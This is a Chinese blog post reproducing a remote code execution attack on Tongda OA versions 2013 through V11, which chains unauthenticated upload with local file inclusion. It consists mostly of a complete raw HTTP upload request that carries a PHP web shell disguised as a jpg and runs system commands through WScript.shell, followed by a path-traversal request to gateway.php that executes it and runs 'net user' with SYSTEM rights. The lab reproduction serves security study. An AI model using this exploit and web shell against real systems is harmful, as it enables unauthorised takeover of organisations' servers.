漏洞复现系列--通达OA未授权上传+文件包含RCE
程序员文章站
2022-03-24 15:23:54
...
一、漏洞情况
此漏洞是由未授权上传和本地文件包含两个漏洞组合而形成的rce漏洞
文件上传地址:
http://localhost:8083/ispirit/im/upload.php
本地文件包含地址:
http://localhost:8083/ispirit/interface/gateway.php
这个地址我看有的复现地址不一样,是/mac/gateway.php,可能和操作系统有关,需要注意下
二、漏洞影响版本
tongdaOA V11
tangdaOA 2017
tangdaOA 2016
tangdaOA 2015
tangdaOA 2013 增强版
tangdaOA 2013
三、漏洞验证
1、通达OA下载安装
下载地址:
http://www.tongda2000.com/download/down.php?VERSION=2019&code=86d3V9EzrapwAKhPkxfbNZDsfB48gbFvbS0QYsUr%2FnNWNP2e5Fn%2F&F=baidu_natural&K=
安装过程:
2、上传图片马
POST /ispirit/im/upload.php HTTP/1.1
Host: 127.0.0.1:8083
Content-Length: 656
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
3、利用本地文件包含漏洞去执行刚刚上传的木马
文件包含地址:http://127.0.0.1:8083/ispirit/interface/gateway.php
POST数据:
json={"url":"/general/../../attach/im/2003/1522036437.jpg"}&cmd=net user
从上图可以看到,命令执行成功,并且权限是system权限
上一篇: 算法设计与分析----棋盘覆盖
下一篇: Linux版Redis安装(单机)